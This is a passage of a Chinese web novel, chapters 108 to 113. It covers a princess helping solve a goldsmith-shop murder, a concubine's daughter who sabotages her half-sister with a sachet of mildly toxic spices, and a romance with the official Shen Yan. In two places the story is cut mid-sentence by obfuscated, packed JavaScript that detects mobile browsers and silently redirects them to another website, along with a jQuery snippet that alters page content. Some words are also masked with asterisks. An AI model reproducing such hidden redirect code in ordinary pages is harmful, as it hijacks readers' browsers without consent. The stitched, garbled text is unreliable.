沈渊盯着他看了好一会儿,才从鼻子里哼笑一声,“你便摸着这巴掌印好好幸福几日,为父为你选择了成婚人选,容太尉家的嫡出三小姐。” 仿佛知道儿子会说什么,他提前将路堵死。 “为父已经任由你任性了许多年,如今你已二十二,外人都传你是断袖,为父不能再任由你胡闹下去,婚期定在明年年初。” 顿了顿他又补充。 “你若不肯拜堂,为父便用公鸡代替,这婚,你必须结。” 深渊丢下这话离去。 沈砚独自站在小厅中,背影透着落寞。 东城兵马司。 指挥使贡义面色冷沉。 “鸿发的案子传得人尽皆知,百姓们陷入恐慌,我们东城兵马司陷入指责。 若是七日内抓不到凶手,我这个指挥使的帽子怕是也要掉!” 听出话中有指责的意思,姬南萱丝毫不惯着。 “鸿发的案子一直是我们东城兵马司受理,如今案子走漏风声,肯定是衙内出了奸细。” 衙内出了奸细当然是他这个指挥使监管不利。 贡义脸色难看,却并未发怒,而是平心静气的说道:“本官会查明奸细。” 站在姬南萱身后的叶冀悄悄在心中竖起大拇指。 这种话也有姬南萱敢说,若是他这种毫无背景的小人物来说,今日就会被赶出兵马司。 随后贡义严肃命令姬南萱。 “缉拿凶手的任务本官交到你们二人手上,七日时限,别让本官失望。” 姬南萱无奈应下。 等姬南萱和叶冀离开,贡义便离开衙门前往公主府。 凶案泄露,影响最大的是怀宁公主,据说那‘金福来’一夜之间门可罗雀。 贡义担心被怪罪,所以提前去公主府领罪。 贡义刚走出兵马司,便听见沉闷的鼓声。 只见衙门大门口站着个衣衫褴褛的白发老人,猎猎寒风中,老人单薄的身影形销骨立,虚弱到像是随时会倒地死去。 可那棒槌却握的牢固,敲击鼓面的力道遒劲有力。 看见贡义从里头出来,老人重重跪下。 “我儿是保护汴州城池的英雄! 颜氏族人夺我儿军功! 害我儿性命! 苍天大老爷! 求您为我儿平冤屈!!!” 贡义烦躁的蹙眉,斥责手下。 “干什么吃的?还不将人赶走!” 两个小官兵上前,强行将老人拖走。 贡义一边朝前走一边在心中抱怨。 命案泄露便罢了,这老疯子也上来触霉头,最近怕是犯了小人。 等鸿发的案子了结,定要去法坨寺上柱香,请求佛祖怜悯怜悯他这个苦命人! 贡义弯腰进入马车时,两个官兵将老人丢在了马路中央,路人瞧见老人后连连摇头叹气。 “十多年前还只是偶尔说说胡话,如今是越老越疯了。” “可不是,我听说他根本没儿子。” “怕是没后气疯了,又瞧见人家颜大将军英勇无匹,便生了嫉妒之心。” “听说这次的胜仗是颜大将军力挽狂澜,不愧是颜家军。” “颜家军快要回城了,届时我要去城门口迎接,一睹颜将军的风姿!” …… 路人的话题越来越偏,身影也越走越远。 冰冷凄凉的马路上,只有老疯子一人坐在地上。 老疯子笨拙的从地上站起来,仰头看向天空的太阳,眼中的悲伤和愧疚浓到化不开,可眼底却干涸,没有半分泪水。 他的眼泪早已流干。 贡义听见脚步声赶紧站起来,朝着进来的身影行礼。 “微臣拜见公主!” 乔楹月坐下后开口:“免礼,贡大人请坐。” 贡义战战兢兢坐下,只敢坐半个屁股,他陪着笑说道:“微臣今日前来是为了领罪,东城兵马司失职,让公主蒙受损失……微臣愿意承担公主的损失!” 这笔损失可不小。 贡义那俸禄可不够赔。 乔楹月笑道:“你确实有罪,但本宫不打算与你计较。” 贡义没想到自己会被放过,感激的差点跪下谢恩。 乔楹月淡淡说道:“将那凶手的画像给本宫瞧瞧。” 凶手迟迟不归案,‘金福来’的局面只会更麻烦。 乔楹月打算让林酒暗中帮忙捉凶。 贡义立刻让人回兵马司取画像,他亲手捧到乔楹月面前。 “公主请看。” 第一百零八章凶手画像 乔楹月摊开画像。 上面画着个面具遮脸的男人,面具覆盖至眼睑之下,只露出一双眼睛。 是一双杏仁眼,放在男人脸上显得十分秀气,眉毛也很秀气。 和乔楹月心中所想的穷凶极恶之徒完全不一样。 而且仔细瞧一会儿,心中便有一股熟悉感。 好像在什么地方见过。 仔细回想自己见过的男人,没有任何线索。 “如今已经查清死者的名字,死者叫康天水,四十八岁,一个月前从大通县而来。 文牒上面记录了他的来意,他在老家有个漂亮的妻子,妻子与野男人私奔,他为了寻妻变卖了家当,遍寻无果后来盛京投靠亲戚。 鸿发是康天水的表亲,康天水刚刚投靠他就被杀害。 按照眼下查到的线索,微臣大胆的推断,和康天水妻子私奔的野男人就是鸿发,康天水寻到盛京以后鸿发担心事情败露,便杀人灭口。” 这番推测有些道理,却又毫无道理。 倘若真是杀人灭口,应当连夜毁尸灭迹才对,不可能任由康天水的尸首就这么躺在铺子里。 康天水在盛京城内开了金铺,生意十分不错,若非无可奈何,他也不可能干出杀人逃往的事儿。 或许,这一切的谜团和康天水的妻子有瓜葛。 “贡大人可有康天水妻子的画像?” 倘若康天水的死真是因为情杀,那么和鸿发一起逃亡的应当还有他的妻子。 所以,康天水的妻子也是追捕逃犯的关键。 而贡义却一直未曾想到这一点。 他身为东城兵马司的指挥使,却连这么浅显的问题都想不到,还被一个毫无查案经验的小姑娘提了出来,实在丢人。 贡义面红耳赤的回道:“正在派画师画,画像出来以后定第一个献给公主!” 贡义离开公主府以后,立刻派人前往大通县画康天水妻子的画像,同时顺带查清楚康天水妻子的底细。 在这两日里,姬南萱缉凶的同时不忘接收八卦。 听到那个八卦后,她暂且放下毫无进展的案子,急匆匆去见了乔楹月。 “公主!沈砚和容明月即将定亲!” 乔楹月端茶的手一顿,抬眼问她:“当真?” 姬南萱有些不确定,“我不是很确定,不过我听说他们明日再法坨寺见面,如果顺利的话,春节后便会举办婚礼。” “哦,”乔楹月慢悠悠品了一口茶,对此没有任何表示。 姬南萱疑惑,公主为何一点儿反应都没有?难道是她猜错了?公主对沈砚没有任何男女之情? 可是公主看沈砚的眼神明明不同,应该是有些特殊才是。 “公主不去阻止吗?” 乔楹月毫不在意的道:“不必。” 姬南萱却松了一口气。 沈砚和公主明显有缘无分,如今公主不在意,也就不会因此伤心了。 次日清晨。 容明月穿上刚做的新衣站在铜镜前打量自己。 粉色特别衬她的肤色,精致的妆容让她的容颜明艳俏丽。 她对自己这一身十分满意。 正要出门乘坐马车,门外忽然走进来一道身影。 瞧清进来的是自己那阴险的庶姐,容明月的脸色冷了下去。 “你过来干什么?这儿不欢迎你!” 熟料这位庶姐抬脸之际竟是满脸的泪水,小鹿般的眸中充满了愧疚。 “上次是姐姐糊涂,险些让妹妹得了个飞扬跋扈的坏名声,姐姐错了。” 这件事儿一直让容明月气到现在,如今容旖纾道歉,她那口气消了一些,又看见那些眼泪,她反倒有些不自在起来。 “罢了,只要你能认识到自己的错误,我便不怪你了。我要出门了,你回去吧。” 容旖纾去依旧伤心哭泣着:“妹妹还是不肯原谅我,原本妹妹在这府中对我最好,我却让妹妹伤心,我没有母亲,如今连妹妹也不想理我,我活着也没什么意思。” 听出话音不对,容明月愣神之际,便见庶姐朝着墙上撞去。 她唬了一跳,赶紧上前将人拦住。 瞧见庶姐的可怜模样,她不仅气消了,反倒开始关心庶姐的情绪来。 “我真的不生气了,往后我们还是像从前那般来往,你可莫要做傻事。” 容旖纾抹泪,转身从春桃手中取过托盘。 “这是姐姐连夜缝制的香囊,妹妹若是收下便是真的不生姐姐的气了,若不收……” 若她不收她就还是要去死。 容明月为表诚心,接了香囊,并当着容旖纾的面,将香囊挂在了腰上。 “这下姐姐可放心了?” 容旖纾破涕为笑,“好妹妹,快出门吧!” 容明月心情不错的同母亲一道出门,母女二人乘坐容府的马车前往法坨寺。 然而她不知道的是,容旖纾前脚同她分开,后脚便换了身淡雅的衣裳,乘坐马车,也前往了法坨寺。 法坨寺中。 苏眉领着自己那操心的儿子,和太尉夫人碰了面。 太尉夫人姓唐,名叫毓秀,是个温婉智慧的女子。 两人一番寒暄便切入正题。 “听说这法坨寺的腊梅开了,风景十分漂亮,明月擅长画画,等会儿我们便一道去看腊梅,让明月好好画意幅。” 容明月站在母亲身边,有高大英俊的沈砚站在面前,她收敛了身上的骄纵,一脸乖巧。 “伯母气质高洁,若是能和腊梅一起入画,实在是明月的荣幸。” 苏眉本就喜欢容明月这孩子,见她嘴甜就更喜欢了,她上前和唐毓秀走在一处,故意将两个年轻人丢在后面,好让两人有单独相处的机会。 容明月走在沈砚的身边,微风拂面,她隐约闻到男人身上的冷香,心情又激动又紧张。 沈砚是这盛京最好的男子,她以为这样的男人不可能轮得到自己,没想到竟然运气这么好,真让她摊上了! “沈公子,小女……” 她本想在沈砚面前表现自己的乖巧嘴甜,然而话才起了个头,竟然忍不住放了个屁。 还好沈砚的表情没有异常。 不过容明月是不敢再说话了,她感觉自己的肚子有些不舒服。 到了客院,苏眉拉住容明月的手,想好好与她说说话,没想到刚将人拉到身边,就听到一连串屁声。 臭味儿在尴尬的气氛中大肆弥漫。 苏眉忍着没有变脸,沈砚的表情也没有任何变化。 但容明月的脸还是丢光了! 第一百零九章丢尽脸面 唐毓秀赶紧将女儿拉到面前,正要询问她是不是身子不舒服,便听到一声惊呼。 众人往院外看去,便见两个小沙弥正将一个少女扶起来。 少女衣着单薄,素雅的颜色衬得小脸素白,展现出了别样的清雅之美。 只见少女摔在地上,膝盖渗出血迹,她却完全顾不上,只是一心守护手中的莲花灯。 这莲花灯是为逝者所点的长明灯。 苏眉认出少女是容旖纾,立刻猜到这长明灯是为谁而点。 容旖纾的母亲在她出生时难产死去,她因此背上克亲的名声,被容太尉送到了乡下。 如今这孩子好不容易回来,日子稍微好过一些便来到寺庙为已逝的母亲点长明灯。 真是个孝顺的孩子。 苏眉主动开口唤了容旖纾的名字。 “旖纾。” 容旖纾扭头,微风吹乱她的头发,她轻轻抬手拨开秀发,干净的脸上露出惊喜的笑来。 “伯母!” 她看向沈砚,神色矜持:“砚哥哥。” 随后她将莲花灯交给沙弥,想进来行礼,却又在看见一旁的容家母女后神色惨白的往后退了两步。 像是想到什么痛苦的事儿,她的脸色白的像纸,最终鼓足勇气走进来,站在了苏眉的面前。 “旖纾见过伯母,旖纾见过砚哥哥。” 沈砚瞧着她这番做作的姿态,连环屁都没崩变的脸色瞬间冷了下去。 苏眉半点看不出其中的刻意,一心怜悯这孩子性子坚韧。 若非是个庶出,她真想让着孩子做儿媳。 她温柔的问容旖纾:“你是来为你母亲点长明灯的?” 容旖纾点头:“是的。” “真是个孝顺的孩子。” 而这话听在唐毓秀耳中却十分刺耳。 当初她在那卑贱的姨娘手底下吃了许多闷亏,若非她难产死了,怕是这太尉夫人的位置都能被她抢去。 正是对那姨娘痛恨至极,她才任由婆婆将刚出生的容旖纾送到乡下。 如今容旖纾回来了,那些手段比之她母亲更甚。 这长明灯她早不点晚不点,非要在她的女儿和未来夫婿相看的日子里点。 她那点小心思瞒得住别人可瞒不住她! 眼下苏眉夸赞容旖纾孝顺,她只想在心中冷笑。 苏眉十分通透的一个人,竟也着了这丫头的道! 容明月刚才出了丑,瞧苏眉的模样,怕是恨不得容旖纾做她的儿媳。 倘若苏眉真的选择容旖纾做儿媳,唐毓秀往后的日子不会好过。 念及此,唐毓秀心中有些烦躁,可她失了先机,这会儿说什么都像残害妾室孩子的恶毒主母。 容明月心中没有母亲那么多弯弯绕绕,但她看得出容旖纾得苏眉喜欢,而且容旖纾除了身份是庶出,这会儿的行为举止比她更像嫡出。 容明月难得自卑了起来,抿着嘴唇低下头,快哭了。 看见那对母女憋屈的模样,容旖纾心中生出得意。 便在此时,院外响起一道恭敬的声音。 “公主,梅园就在前方。” 敏感的字眼顿时让院内的几人看向院外。 只见少女身影高贵的站在外头,身边跟着俊俏的宋鹤柳,这会儿宋鹤柳小心的扶着她的手腕,生怕她跌倒。 堂堂公主有侍女不用,却让一个外男搀扶,简直没有半点礼义廉耻。苏眉心中的不喜达到了极致。 但再是不喜,还是要上前行礼。 一行人上前朝乔楹月行礼。 沈砚落在最后,“微臣拜见公主。” 乔楹月面露惊讶,似是这会儿才看见这些人,她丢开宋鹤柳的手,让大家起身。 “竟在此处遇见了这么多熟人,可真是巧了。” 这话虽然是对着大家说的,可她的眼睛却直勾勾落在沈砚身上。 沈砚心底的火气忽然消失。 知儿莫若母。苏眉敏锐发现儿子的细微变化,想到儿子二十二了还不成亲的原因,怒火就顶上了脑门。 容旖纾忽然说话:“公主今日可是前来为阮贵太妃点长明灯的?” 乔楹月淡淡道:“容小姐今日前来是专程为自己母亲点长明灯?” 容旖纾恭敬点头,随后再次提起阮贵太妃:“早前听闻公主连阮贵太妃的忌日都忘了祭拜,甚至在府上饮酒作乐,如今公主既然来了法坨寺,也该为阮贵太妃点一盏长明灯才是。” 她的表情诚恳极了,让人一下就能明白她的苦心。 当初阮贵太妃在世时,对乔楹月这个女儿极为宠爱。 如今乔楹月的种种行为实在不孝。 苏眉在心中附和。 旖纾所言极是。 从前公主年纪小,贪玩错过忌日,如今年纪可不小了,应该为阮贵太妃尽孝。 唐毓秀也暗暗皱眉,容旖纾虽然狠毒,但孝心却是有的,这位怀宁公主简直毫无可取之处。 乔楹月正要说话,一直没说话的沈砚忽然开口。 “公主早些年便在寺中为阮贵太妃供奉了长明灯,每月还会拿出几日亲自为阮贵太妃守护长明灯。” 能做到这地步,必是极有孝心之人。 苏眉很是意外。 唐毓秀微愣后看向面色尴尬的容旖纾,总觉得哪儿不对。 便在此时,一连串响亮的屁声打破了宁静的气氛。 容明月脸色通红,眼泪‘唰’的掉下来。 见大家都看着自己,她哭着说道:“我的身体平时很好的,今日不知道怎么了。” 可身体好又怎会发生这么多尴尬的事儿。 放屁不是什么大病,但得了这种病,绝对当不得沈家的儿媳。 苏眉笑着哄容明月,说没事,可脸上的表情分明淡了许多。 容旖纾心中得意,看来她的计划成了! 乔楹月的目光扫过容旖纾的脸,忽然问容明月,“你身上的香囊很是漂亮,是你自己做的吗?” 容明月以为乔楹月在帮自己解围,感激的回道:“是二姐今早送我的。” 乔楹月故作不经意的说道:“你平时端庄知礼,今日却频频失礼,怕是这香囊克你呢。” 一句话点在了容明月的脑子上。 她脸色大变。 唐毓秀比女儿反应更快,利索的将香囊取下来,当着大家的面儿将香囊扯开。 第一百一十章香囊有毒 唐毓秀看不出个名堂,想到宋鹤柳的身份,立刻将香囊递过去。 “送大夫快帮忙瞧一瞧,这香囊里头可有古怪?” 宋鹤柳仔细查看后告知。 “这香囊里头的几味香料本身都没问题,但这几味放在一起便会产生微毒,会令人肠胃不适。” 容明月不可置信的问容旖纾:“姐姐可知道这香料有问题?” 废话。 容旖纾当然知道,这香料可是她精心制作。 可这事儿不光彩,一旦被当面揭穿,她苦心经营的形象便会破碎。 “什么?香料竟然有问题?!” 容旖纾瞪大眼睛,一脸无辜的流下眼泪。 “这个香料是我照着乡下的老方法制作,没想到竟然有毒,是我该死,是我差点害得妹妹中毒,求母亲责罚!” 少女愧疚得恨不得当场死去。 苏眉刚升起的一丝不喜立刻消散,觉得这孩子也是可怜,若是自小生在盛京,也不至于连香料都不懂。 不过这事儿是容府家事,是否责罚她无权插手,全看唐毓秀的心情。 唐毓秀最懂容旖纾的无耻,但她也清楚,她若真的狠狠责罚了容旖纾,她这恶毒主母的名声就得刻在身上。 眼下必须展现大度,剩下的,等回府再说! “罢了,你也不是有意,不怪你。” 容明月不明白母亲的考量,见容旖纾这么轻易就被放过,急的流眼泪。 “娘,她可不像看起来这么无辜,我敢肯定,她肯定知道香料有问题,她是故意让我出丑!” 唐毓秀还未来得及说话,容旖纾便跪在了她的面前。 “母亲,怪只怪我生在乡下,不懂香料,一片好心办了坏事,妹妹气我也是应该,我在这里给妹妹认错!” 这副模样在外人看来正是恶毒主母欺负可怜庶女。 门口的几个小沙弥忍不住议论。 “这位容小姐太可怜了。” “传言太尉夫人心狠手辣,如今一见,果真如此。” …… 唐毓秀皮笑肉不笑的扶容旖纾起身。 “你这孩子,你妹妹被毒折磨得颜面尽失,有些情绪也正常,倒是你,当众这样下跪,显得我这个母亲极其刻薄。” 容旖纾仿佛听不出来话中带刺,兀自擦着眼泪。 苏眉心疼这孩子,主动拉容旖纾起来, “旖纾虽是庶女,却知书达理孝顺乖巧,砚儿,你瞧清楚些,像这样的女子才能做我们家的儿媳。” 话外之音,是告诉沈砚,他肖想的女子不如容旖纾半分。 乔楹月撇了沈砚一眼,轻笑开口:“本宫便不打扰诸位雅兴,告辞。” 乔楹月转身离开,宋鹤柳快步跟了上去。 走出了客院,宋鹤柳看着公主清冷的侧脸,隐约察觉到藏在这幅冷静外表下的火气。 他仔细思索一番,有些明白了公主生气的原因。 公主对沈大人有情。 幽香扑鼻,腊梅园到了。 乔楹月扯了一根枝条低头轻嗅,心头的烦躁淡了许多。 便听到宋鹤柳低声说话。 “公主忽然让微臣陪同前往法坨寺,是故意气沈大人的吧?” 手指松开枝条,乔楹月没言语。 宋鹤柳苦笑:“公主喜欢沈大人。” 乔楹月低斥:“不许胡说。” 依照公主的性子,若当真不喜欢,只会以冷淡回应。 可眼下却一副恼羞成怒的模样。 看来公主真的喜欢沈大人。 宋鹤柳心中发涩,却又觉得自己的情绪很可笑。 他这样的身份地位没法跟沈大人比,他没资格吃醋。 一片腊梅缓缓落在乔楹月头发上。 “公主别动。” 宋鹤柳弯腰,伸手摘掉了梅花,并未丢弃,而是顺手藏进袖子里。 远处。 沈砚看着梅园中的两道身影,男人身材颀长,女子娇小俏丽。 一阵风拂过,似乎情到浓时,男人忍不住弯腰靠近女子。 高大的身子将女子的身形完全笼罩,像是在忘情的拥吻。 沈砚脸色发白,一拳打在树上,枝干应声倒地。 乔楹月闻声扭头,只来得及瞧见一片熟悉的衣角。 天寒地冻,在梅园待了一会儿便冷的受不了。 乔楹月拢着衣裳回到休息的客院。 巧的是,客院紧张,她和沈砚在一个院子。 乔楹月走进去时,正巧看见苏眉和唐毓秀在院内说话,瞧见她进来,唐毓秀快步朝她走来,苏眉则当做没看见,转身回屋了。 “方才的事儿多谢公主出手!” 唐毓秀很聪明,回头稍微一想便明白乔楹月是故意帮她揭穿容旖纾,这也就意味着有第二个人知道容旖纾不是好东西。 这种讨厌的人终于被别人讨厌了的心情实在过瘾! “今日是臣妇欠了公主的人情,往后公主有什么用得上臣妇的地方,公主只管开口,臣妇绝对不会推辞!” 乔楹月知道唐毓秀在朝自己示好,她很乐意与她结交。 “容夫人可要说话算话,本宫可不是客套之人。” “哈哈哈,公主放心,臣妇也不是那虚与委蛇之人!” “容小姐好些了吗?” “香囊取下来后就好多了,只是还有些抹不开面子,这会儿待在屋里不肯出来,不过她的性子臣妇了解,过上几日就好了。” “容小姐性子太过单纯,往后要多注意。” “多谢公主提点!” 说话告一段落,唐毓秀适时告辞。 乔楹月转身朝着自己的客房走去,身旁却忽然伸出一只手,将她拽进了屋内。 屋门轰然关闭,她的后背贴在门上,双臂被人举到头顶,整个人被禁锢在霸道的怀抱之中。 乔楹月抬眼看着面前气急败坏的男人,身后传来轻轻的敲门声。 “扣扣扣。” 没得到回答,外面的人出声轻唤。 “砚儿,是娘。” 门外站着的是苏眉。 而门内的沈砚俊脸带火,强行将乔楹月困在怀中。 若是这一幕被苏眉看见,不知道会被气成什么样子。 乔楹月朝沈砚挑眉,用气声提醒他。 “你娘在外面。” 是提醒他松手,省得等会儿场面难看。 可沈砚不知道被哪个字激怒,忽然低头吻在她唇上。 由于动作太粗暴,乔楹月的后背撞在门扇上,门扇被震的直颤。 第一百一十一章情绪失控 苏眉看着晃动的门扇,莫名想到了乔楹月,心立刻一紧。 “砚儿?你在做什么?” 屋内,乔楹月被吻得呼吸急促,她狠狠咬在沈砚唇上,这才逼退了这个疯狂的男人。 她用双手撑着他的胸膛,目光愤怒的盯着他,用眼神提醒着两人的身份。 她是公主,他是臣子,眼下的一切都太过放肆。 可沈砚却无惧她的眼神,不仅没有恢复臣子的恭敬,反而带着挑衅的在她唇上亲了一下。 呵。 以为门外有人她就会忍气吞声? 乔楹月冷冷一笑,忽然转身拉开了门。 苏眉见里头半晌没回应,举起手准备再次敲门,她的手刚举起来,门便开了。 只是开门的不是她的儿子,而是她最讨厌的乔楹月。 看着脸色从错愕到震惊,又从震惊变成愤怒的美妇人,乔楹月唇边扬起明媚的笑意。 “好巧啊,沈夫人。” 苏眉看着眼前的小姑娘,白皙的脸庞泛着红晕,一双眸子透着水雾般的迷离,饱满的唇有些红肿。 这幅样子出现在沈砚的屋子里,可想而知刚才里头肯定发生了极其不规矩的事儿。 而这小姑娘不仅没有丑事被撞破的尴尬,反而跟她道‘好巧’,这是一点儿脸皮也不要了! 苏眉抬眼看向屋内,只见自己的儿子衣襟微乱,下唇破了个口子。 她立刻猜到,刚才自己的儿子和乔楹月在里头亲吻,乔楹月太放荡,还咬伤了儿子的嘴唇! 苏眉气的心口疼,然而还没等她说话,乔楹月已经甩下她走了。 扬长而去的背影充满了对她的蔑视。 她捂着胸口缓声问沈砚:“容家嫡出二小姐,和庶出三小姐,你二选一,若你不选,母亲便做主替你选一个!” 沈砚冷淡说道:“母亲能发现的事儿容家也会发现,您怕是没得选。” 沈砚是优秀,但二十二岁还不成亲,盛京本就有许多流言蜚语。 如今他和乔楹月的关系不清不楚,哪个好人家敢把女儿嫁给他。 从前苏眉能从盛京城内任意的人家挑选儿媳,而现在,门当户对的人家怕是不好挑了。 而门不当户不对的,她瞧不上。 苏眉气的眼前发黑。 乔楹月回到自己的房内,刚坐下,便听到敲门声。 红豆上前开了门,容明月自来熟的走了进来。 她来到乔楹月的面前,不等她说话便在她面前的位置坐下,一开口便是惊雷。 “刚才沈公子将公主拽进屋中,臣女瞧见了!” 乔楹月看着小姑娘澄澈的眼眸,笑盈盈反问:“然后呢?” 容明月的脸上浮现促狭的笑,“看来盛京的传言是真的,公主看上了沈大人。” 乔楹月挑眉:“为何不是他看上本宫?” 容明月认真说道:“沈大人性子清冷,若非公主撩拨不可能动情至此。” 这是个天大的误会。 乔楹月还真没撩拨沈砚,他纯粹是自己骚。 不过容明月这性子是真单纯,这种话也敢当她的面说,半点不怕她生气。 转念想想,容明月说话只有表面意思,没那么多弯弯绕绕。 跟这样的人相处很轻松,不会累,也挺不错。 而且她虽然对沈砚有些好感,这会儿在她面前却没有半点不高兴,不知道这小姑娘心里在想些什么。 “那你呢?对沈砚可有好感?” 跟性子单纯直爽的人,她也直来直往。 容明月脸上浮现几分不好意思,“一开始确实有好感的,但后来就没了。” 乔楹月好奇:“为何?” “因为他对臣女没有好感,臣女虽然不聪明,却也不是那愚钝至极的人,臣女瞧得明白,也看得开。” 倒是很通透。 乔楹月有些喜欢容明月的性子。 便听容明月认真的开口:“沈公子确实是个不错的人,公主能看上他臣女一点儿也不奇怪,公主也是非常优秀非常好的人,是沈公子占了便宜。” 这番话让乔楹月很是意外。 这盛京城内,只要将她和沈砚一起提及,话里话外总是她痴心妄想,好像她是癞**,沈砚是天鹅。 而容明月却觉得她很优秀,是个好人。 乔楹月对这个小姑娘的好感又多了一些。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328243|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你叫明月,本宫叫楹月,很巧呢。” “因为臣女和公主都是像月亮一样干净美好的人。” “本宫第一次得到这么多赞美。” “看来世人皆是表面聪明,暗地里糊涂至极!” 乔楹月脸上浮起由衷的笑。 容明月被她的笑颜晃了神,回神后她信誓旦旦的说道:“公主是臣女的朋友,臣女对朋友向来是两肋插刀,公主,臣女一定会全力帮您抱得美男归!” 乔楹月被逗得大笑。 乔楹月并未在法坨寺多待,下午便启程回城。 因为凶案的影响,‘金福来’的生意十分冷清。 何掌柜很着急,和终斩玉商量,让她研发新工艺,以此来吸引顾客。 终斩玉在黄金的打造工艺上十分有想法,她废寝忘食的画出自己的想法,最后想到了一个全新的工艺。 她立即行动,用乔楹月给出的花样子,加上这新工艺,打造了一只发簪。 何掌柜看了连连惊叹,并笃定此工艺定能大卖。 何掌柜不想抢了终斩玉的功劳,让她独自带着簪子前往公主府。 走进公主府时,终斩玉那张充满英气的脸上忍不住露出兴奋。 她跟随红豆快步走进小厅,不一会儿乔楹月便袅袅婷婷的走了进来。 “民女拜见公主!” 乔楹月上前将她扶起,为她赐座,瞧见她面带喜色,猜到是黄金工艺上有好消息。 看见桌上放着个漂亮的锦盒,猜到里头是终斩玉的献宝,便笑着打开盒子。 看见簪子的瞬间,她也被惊艳了。 “阿玉,你立功了,等铺子的难关过去,本宫给你涨月例。” 终斩玉高兴又腼腆的道谢。 便在这时,红豆走进来,将一副画像交给乔楹月。 “公主,这是贡大人派人递来的。” 肯定是康天水那漂亮妻子的画像。 乔楹月迫不及待的打开画像,看向画中的女子。 只见这画中的女子目视前方盈盈的笑着,透着英气的脸庞有着非同寻常的气质,十分耐看。 这张脸,和面前的终斩玉一模一样! 第一百一十二章凶案内情 乔楹月不动声色的重新卷起画像,交给红豆。 “收起来吧。” 红豆接过画像离开。 终斩玉的目光追着画像,眼底看不出情绪。 在终斩玉离开以后,乔楹月吩咐林酒暗中盯着她,随后她出门前往东城兵马司。 到衙门时贡义正在对手下发脾气,这倒霉手下正是负责鸿升案子的姬南萱和叶冀。 这会儿两人低着头,用头顶迎接飞洒而来的口水。 乔楹月的到来中断了这场口水攻击,贡义恭敬的朝她迎来。 背对着他的姬南萱悄悄拿出帕子擦脸上的口水,叶冀没有帕子,便用袖子擦。 “公主大驾光临,微臣倍感荣幸!” 先前贡义训斥姬南萱和叶冀时官威足的很,这会儿在乔楹月的面前就开始点头哈腰了。 姬南萱最讨厌这种势力小人,无奈此人是她顶头上司,万一闹出矛盾,外人指定说她仗势欺人,遂在贡义面前一直很克制。 而眼下她在贡义的背后,她无需克制。 于是贡义说一句,她就极小声的阴阳怪气的学一句。 “公主此番前来肯定是为了鸿升的案子。” “唉,微臣这衙内的下属啊,不好管,微臣不得不留下来处理事情,若非如此,微臣肯定亲自将画像送到公主手中。” “椅子上有灰,微臣擦干净了!” “这茶有些烫,公主小心些!” “噗嗤……” 乔楹月一抬眼便能看见姬南萱挤眉弄眼,憋不住笑出声。 贡义一脸莫名的问道:“何事让公主这么高兴?” 乔楹月不敢继续看姬南萱,快速收回目光,一本正经的说道:“本宫看了康天水妻子的画像,对他的妻子很是好奇,不知贡大人可查了此人的详细情况。” 贡义顿时感到庆幸,还好当时让人查了,否则这会儿又会被问住。 “微臣查过了,她叫王翠花,今年二十四,十八岁嫁给康天水,婚后因为好吃懒做经常和康天水争吵,连康天水的母亲都被她气死。 她和鸿升相识的事儿微臣还未查到,不过微臣猜也能猜到,定是王翠花耐不住寂寞,悄悄勾搭鸿升,抛弃了糟糠丈夫与鸿升私奔。 这个王翠花,罪大恶极,待微臣抓住她,定要让她游街示众!” 男人和女人有了**,就一定是女人**勾引,这样的想法似乎已经根深蒂固。 可男人哪儿有那么单纯,无非是明知故犯,顺势而为,占尽便宜…… 王翠花到底是不是终斩玉,还需要查实。 倘若她们真的是一个人,乔楹月笃定,贡义查到的的消息肯定不是实情。 终斩玉绝对不是好吃懒做**肤浅之人。 回到公主府以后,乔楹月又吩咐林酒前往大通县核查王翠花的事儿。 林酒的动作很快,才两日便带来了王翠花的消息。 和贡义所说,完全相反。 王翠花十八岁嫁给大自己二十一岁的康天水,婚后一边挣钱养家,一边孝敬公婆。 而康天水不仅好吃懒做,还经常打王翠花,婆婆看不下去劝架,竟被喝醉的康天水推倒,脑袋在地上磕了一个血洞,血尽而亡。 康天水和大通县的县令有勾结,因此弑母后依旧逍遥法外。 另外林酒还查到一件事儿。 康天水在大通县上经常做强抢民女的事儿,一年前他将一名****。 此事发生后,王翠花便下落不明。 一个月前,大通换了新的县令,严查了这些年挤压的各种案子,康天水面临斩首之刑,他连夜跑路,来到了盛京,找到了鸿升,**害。 将这些事儿在心中理清楚了,乔楹月大致猜到王翠花逃离康天水后去了哪儿。 鸿升金铺正是一年前开张。 王翠花在逃离康天水的魔爪以后来了盛京,为了避开彻底和康天水划清界限,她乔装成男人,戴上了面具,化名鸿升。 没想到康天水还是找到了她。 王翠花杀了康天水,化名终斩玉,以金匠的身份,重新回到了她的店铺之中。 若要乔楹月来判案,终斩玉不仅无罪,还是除恶的功臣。 甚至那康天水死的还是太舒服了,他应该被处以千刀万剐之刑! 乔楹月将胸中的浊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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终斩玉流着泪跪在了乔楹月的面前。 “公主是民女的再生父母,从今往后,民女甘愿为公主当牛做马!” 第一百一十三章聚众** 乔楹月回到公主府便派林酒前往大通,寻找几个人——大通新上任的县令、被****的父母。 而在她做这些事,贡义带着姬南萱和叶冀前往‘金福来’,抓走了正在为金簪镶嵌宝石的终斩玉。 紧接着贡义亲自来到公主府,将抓走终斩玉的事儿禀明。 “微臣也是刚知道王翠花藏在公主的铺子里头,这王翠花肯定知道鸿升藏在哪儿,公主放心,王翠花现在是公主的人,只要她乖乖交代鸿升的去向,微臣绝对不会为难她。” 这是还不知道终斩玉和鸿升是一个人,是以对她的态度尚算宽容。 若贡义知道是终斩玉杀了康天水,定会喊打喊杀。 不过这贡义除了办案能力不强,其他方面倒是聪明极了。 是他将终斩玉的画像献给乔楹月,乔楹月早就看过画像,肯定知道终斩玉就是王翠花。 贡义猜测乔楹月隐瞒王翠花的行踪,是害怕这件事儿让‘金福来’越陷越深。 